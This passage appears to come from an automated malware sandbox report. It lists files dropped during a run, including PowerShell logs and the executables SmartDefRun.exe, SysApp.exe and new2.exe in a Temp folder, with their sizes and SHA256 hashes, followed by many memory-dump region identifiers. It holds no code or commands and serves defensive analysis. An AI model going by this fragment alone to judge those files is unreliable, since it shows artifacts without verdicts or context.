                          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                          • Size 4KB
                          • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                          • MD5 SHA1 SHA512 SSDEEP

                          ModuleAnalysisCache

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                          • Size 53KB
                          • SHA256 638c51e173ca6b3469494a7e2e0b656021a761f77b4a83f3e430e82e7b9af675
                          • MD5 SHA1 SHA512 SSDEEP

                          StartupProfileData-NonInteractive

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 19KB
                          • SHA256 66a695bf98b44d3821fbacb0b780aa970c80b7e614cba3b03e75d9a1d216b0ee
                          • MD5 SHA1 SHA512 SSDEEP

                          StartupProfileData-NonInteractive

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 1KB
                          • SHA256 54992c76969f661b605042ebdc73912dbc42e3f88aa6ffecb7191a598fc17164
                          • MD5 SHA1 SHA512

                          SmartDefRun.exe

                          • Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                          • Size 3.7MB
                          • SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
                          • MD5 SHA1 SHA512 SSDEEP

                          SmartDefRun.exe

                          • Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                          • Size 3.7MB
                          • SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
                          • MD5 SHA1 SHA512 SSDEEP

                          SysApp.exe

                          • Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                          • Size 1.4MB
                          • SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
                          • MD5 SHA1 SHA512 SSDEEP

                          SysApp.exe

                          • Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                          • Size 1.4MB
                          • SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
                          • MD5 SHA1 SHA512 SSDEEP

                          new2.exe

                          • Path C:\Users\Admin\AppData\Local\Temp\new2.exe
                          • Size 477KB
                          • SHA256 0f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
                          • MD5 SHA1 SHA512 SSDEEP

                          new2.exe

                          • Path C:\Users\Admin\AppData\Local\Temp\new2.exe
                          • Size 477KB
                          • SHA256 0f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
                          • MD5 SHA1 SHA512 SSDEEP

                          memory/612-231-0x00007FF811CF0000-0x00007FF811D00000-memory.dmp

                          memory/672-233-0x00007FF811CF0000-0x00007FF811D00000-memory.dmp

                          memory/1248-141-0x0000000002F00000-0x0000000002F36000-memory.dmp

                          memory/1248-150-0x0000000007E50000-0x00000000084CA000-memory.dmp

                          memory/1248-153-0x0000000007AD0000-0x0000000007B66000-memory.dmp

                          memory/1248-154-0x0000000007A40000-0x0000000007A4E000-memory.dmp

                          memory/1248-155-0x0000000007A90000-0x0000000007AAA000-memory.dmp

                          memory/1248-156-0x0000000007A80000-0x0000000007A88000-memory.dmp

                          memory/1248-157-0x0000000007BA0000-0x0000000007BC2000-memory.dmp

                          memory/1248-148-0x0000000075610000-0x000000007565C000-memory.dmp

                          memory/1248-149-0x0000000006AA0000-0x0000000006ABE000-memory.dmp

                          memory/1248-144-0x0000000005DE0000-0x0000000005E46000-memory.dmp

                          memory/1248-152-0x0000000007880000-0x000000000788A000-memory.dmp

                          memory/1248-158-0x0000000008A80000-0x0000000009024000-memory.dmp

                          memory/1248-147-0x0000000006AC0000-0x0000000006AF2000-memory.dmp

                          memory/1248-142-0x0000000005740000-0x0000000005D68000-memory.dmp

                          memory/1248-146-0x00000000052A0000-0x00000000052BE000-memory.dmp

                          memory/1248-151-0x0000000007810000-0x000000000782A000-memory.dmp

                          memory/1248-143-0x0000000005640000-0x0000000005662000-memory.dmp

                          memory/1248-145-0x0000000005EC0000-0x0000000005F26000-memory.dmp

                          memory/2116-139-0x0000000000400000-0x0000000000405000-memory.dmp

                          memory/2116-133-0x0000000000400000-0x0000000000405000-memory.dmp

                          memory/2180-192-0x000001DE8FC40000-0x000001DE8FC4A000-memory.dmp

                          memory/2180-197-0x000001DEAB310000-0x000001DEAB316000-memory.dmp

                          memory/2180-199-0x00007FF8335D0000-0x00007FF834091000-memory.dmp

                          memory/2180-198-0x000001DEAB320000-0x000001DEAB32A000-memory.dmp

                          memory/2180-196-0x000001DEAB2E0000-0x000001DEAB2E8000-memory.dmp

                          memory/2180-195-0x000001DEAB330000-0x000001DEAB34A000-memory.dmp

                          memory/2180-194-0x000001DEAB2D0000-0x000001DEAB2DA000-memory.dmp

                          memory/2180-193-0x000001DEAB2F0000-0x000001DEAB30C000-memory.dmp

                          memory/2180-186-0x000001DE8FBB0000-0x000001DE8FBD2000-memory.dmp

                          memory/2180-191-0x00007FF8335D0000-0x00007FF834091000-memory.dmp

                          memory/2180-189-0x000001DEAAEA0000-0x000001DEAAEBC000-memory.dmp

                          memory/2660-178-0x00000000026EA000-0x0000000002827000-memory.dmp

                          memory/2660-190-0x00000000026EA000-0x0000000002827000-memory.dmp

                          memory/2660-185-0x00000000021CD000-0x00000000026D1000-memory.dmp

                          memory/2660-177-0x00000000021CD000-0x00000000026D1000-memory.dmp

                          memory/2848-224-0x0000000140000000-0x0000000140029000-memory.dmp

                          memory/2848-226-0x00007FF8503A0000-0x00007FF85045E000-memory.dmp

                          memory/2848-221-0x0000000140000000-0x0000000140029000-memory.dmp

                          memory/2848-229-0x0000000140000000-0x0000000140029000-memory.dmp

                          memory/2848-232-0x00007FF851C70000-0x00007FF851E65000-memory.dmp

                          memory/2848-225-0x00007FF851C70000-0x00007FF851E65000-memory.dmp

                          memory/4324-212-0x00007FF8335D0000-0x00007FF834091000-memory.dmp

                          memory/4324-213-0x000001AA80169000-0x000001AA8016F000-memory.dmp

                          memory/4324-215-0x000001AA80169000-0x000001AA8016F000-memory.dmp

                          memory/4324-214-0x00007FF8335D0000-0x00007FF834091000-memory.dmp

                          memory/4460-175-0x00000000054B0000-0x00000000055BA000-memory.dmp

                          memory/4460-173-0x0000000005930000-0x0000000005F48000-memory.dmp

                          memory/4460-184-0x0000000007780000-0x0000000007CAC000-memory.dmp

                          memory/4460-176-0x00000000053E0000-0x000000000541C000-memory.dmp

                          memory/4460-182-0x0000000006490000-0x00000000064E0000-memory.dmp

                          memory/4460-168-0x0000000000400000-0x0000000000420000-memory.dmp

                          memory/4460-179-0x0000000005860000-0x00000000058F2000-memory.dmp

                          memory/4460-174-0x0000000005380000-0x0000000005392000-memory.dmp

                          memory/4460-183-0x0000000007080000-0x0000000007242000-memory.dmp

                          memory/4460-181-0x0000000005900000-0x000000000591E000-memory.dmp

                          memory/4460-180-0x0000000005F50000-0x0000000005FC6000-memory.dmp

                          memory/4744-228-0x00007FF8503A0000-0x00007FF85045E000-memory.dmp

                          memory/4744-227-0x00007FF851C70000-0x00007FF851E65000-memory.dmp

                          memory/4744-220-0x00007FF8503A0000-0x00007FF85045E000-memory.dmp

                          memory/4744-219-0x00007FF851C70000-0x00007FF851E65000-memory.dmp

                          memory/4744-230-0x00007FF833AC0000-0x00007FF834581000-memory.dmp

                          memory/4744-218-0x00007FF833AC0000-0x00007FF834581000-memory.dmp